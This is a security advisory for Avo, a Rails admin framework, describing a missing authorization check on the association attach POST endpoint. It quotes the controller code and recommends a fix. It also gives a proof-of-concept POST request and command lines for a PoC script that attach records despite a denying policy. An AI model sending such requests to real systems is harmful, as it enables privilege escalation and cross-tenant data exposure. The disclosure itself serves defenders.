GHSA-8fq9-273g-6mrg

## Summary

A critical missing authorization flaw exists in Avo's association attach workflow. The UI and `GET /resources/:resource/:id/:related/new` path can check `attach_<association>?`, but the actual write endpoint, `POST /resources/:resource/:id/:related`, does not run the same authorization check before mutating the association.

As a result, an authenticated low-privileged Avo user can bypass hidden/disabled attach controls and directly attach related records to a parent record by sending a crafted POST request. In applications where associations represent teams, tenants, roles, projects, users, memberships, ownership, or other authorization-bearing relationships, this can lead to privilege escalation and cross-tenant data exposure.

## Details

The association attach route writes relationships through `Avo::AssociationsController#create`:

```ruby # config/routes.rb post "/:resource_name/:id/:related_name", to: "associations#create", as: "associations_create" ```

The controller registers an attach authorization callback only for `new`, not for `create`:

```ruby # app/controllers/avo/associations_controller.rb before_action :set_attachment_record, only: [:create, :destroy] before_action :authorize_index_action, only: :index before_action :authorize_attach_action, only: :new before_action :authorize_detach_action, only: :destroy ```

The `new` action is only the form-rendering step. The actual mutation happens in `create`:

```ruby def create if create_association create_success_action else create_fail_action end end ```

`create_association` then attaches the attacker-supplied related record to the parent:

```ruby def create_association association_name = BaseResource.valid_association_name(@record, association_from_params)

perform_action_and_record_errors do if through_reflection? && additional_params.present? new_join_record.save elsif has_many_reflection? || through_reflection? @record.send(association_name) << @attachment_record else @record.send(:"#{association_name}=", @attachment_record) @record.save! end end end ```

The only attach-specific authorization helper is:

```ruby def authorize_attach_action authorize_if_defined "attach_#{@field.id}?" end ```

Because this helper is bound only to `new`, a policy that denies `attach_users?`, `attach_teams?`, `attach_roles?`, or similar methods blocks the UI/form path but does not protect the write path.

This is inconsistent with the detach path, which does authorize the mutating `destroy` action:

```ruby before_action :authorize_detach_action, only: :destroy ```

The bug is especially dangerous because Avo already treats association authorization as an access-control boundary in UI components:

```ruby # lib/avo/concerns/checks_assoc_authorization.rb method_name = :"#{policy_method}_#{association_name}?".to_sym

if service.has_method?(method_name, raise_exception: false) service.authorize_action(method_name, record:, raise_exception: false) else !Avo.configuration.explicit_authorization end ```

However, server-side enforcement is missing on the actual attach POST endpoint.

## Proof of Concept

Prerequisites:

1. A Rails application mounts Avo, for example at `/admin`. 2. Avo authorization is enabled. 3. A low-privileged user can authenticate to Avo. 4. A parent record and a related record are both reachable by ID. 5. The relevant policy denies attaching the relationship, for example:

```ruby def attach_users? false end ```

Example target scenario:

- Parent resource: `projects` - Parent ID: `1` - Related association: `users` - Related user ID to attach: `42` - Expected policy: low-privileged users must not be able to attach users to projects.

The UI/form request may be blocked:

```http GET /admin/resources/projects/1/users/new ```

But the direct write endpoint can still be invoked:

```http POST /admin/resources/projects/1/users Content-Type: application/x-www-form-urlencoded

authenticity_token=<CSRF>&fields[related_id]=42 ```

Run the attached PoC:

```bash python poc_avo_association_attach_bypass.py \ --base-url http://localhost:3000 \ --avo-root /admin \ --cookie "_app_session=<LOW_PRIVILEGED_SESSION_COOKIE>" \ --parent-resource projects \ --parent-id 1 \ --related-name users \ --related-id 42 \ --check-new ```

If `GET /new` is forbidden or redirected but the direct POST succeeds, the authorization bypass is confirmed.

To perform the actual attach:

```bash python poc_avo_association_attach_bypass.py \ --base-url http://localhost:3000 \ --avo-root /admin \ --cookie "_app_session=<LOW_PRIVILEGED_SESSION_COOKIE>" \ --parent-resource projects \ --parent-id 1 \ --related-name users \ --related-id 42 \ --confirm-attach ```

Expected vulnerable result:

- The low-privileged user can attach the related record despite `attach_<association>?` being denied. - The parent record now includes the related record.

## Impact

This vulnerability allows unauthorized relationship manipulation through Avo.

Depending on the affected association, the impact can include:

- Privilege escalation by attaching a user to an admin group, privileged project, tenant, organization, role, or membership record. - Cross-tenant data exposure when tenant/user/project membership determines record visibility. - Integrity loss by changing ownership, assignment, access-control relationships, or business workflow state. - Policy bypass even when Avo UI controls correctly hide the attach button or deny the attach form.

## Recommended Fix

Enforce attach authorization on the mutating endpoint.

At minimum:

```ruby before_action :authorize_attach_action, only: [:new, :create] ```

Additionally:

1. Authorize against the parent record and the selected related record before writing the relationship. 2. Ensure `create` fails closed when `attach_<association>?` is missing and `explicit_authorization` is enabled. 3. Add regression tests that directly POST to `/resources/:resource_name/:id/:related_name` while `attach_<association>?` returns `false`. 4. Verify `has_many`, `has_one`, `has_many :through`, and `has_and_belongs_to_many` association paths all enforce the same server-side authorization.